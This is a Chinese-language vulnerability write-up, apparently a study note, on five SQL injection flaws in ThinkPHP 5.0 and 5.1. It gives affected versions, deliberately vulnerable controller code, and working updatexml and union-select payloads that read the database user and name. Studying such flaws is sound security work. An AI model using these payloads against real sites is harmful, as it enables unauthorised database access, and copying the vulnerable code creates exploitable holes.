tp5注入系列都比较鸡肋,只能爆出user()、database()这类最基础的信息,而不能进行子查询,tp5框架采用的PDO机制可以说杜绝了大部分注入,当然也有例外,thinkphp 5.0.10版本sql注入漏洞支持子查询。
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
测试代码,我这里用的版本是 ThinkPHP 5.0.15
public function index()
{
update / insert 方法
$pass = input("pass/a");
$res = db("user")->where("id","1")->update(["pass"=>$pass]);
dump($res);
}
payload
pass[0]=inc&pass[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&pass[2]=1
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。
update方法注入
public function index()
{
$pass = input("pass/a");
$res = db("user")->where("id","1")->update(["pass"=>$pass]);
dump($res);
}
payload
pass[0]=point&pass[1]=1&pass[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&pass[3]=0
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本 。
select方法注入
public function index()
{
$name = request()->get('name');
$res = db('user')->where('name','exp',$name)->select();
dump($res);
}
payload
name=) union select updatexml(1,concat(0x7e,user(),0x7e),1)--
本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。
order方法注入
public function index()
{
$order = input("order");
$res = db("user")->where(['name'=>'lss'])->order($order)->find();
dump($res);
}
payload
order[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 。
select方法注入
public function index()
{
$name = input("name/a");
$res = db("user")->where(['name'=>$name])->select();
dump($res);
}
payload
name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,database(),user()--
https://github.com/Mochazz/ThinkPHP-Vuln
https://www.cnblogs.com/wangtanzhi/p/12795610.html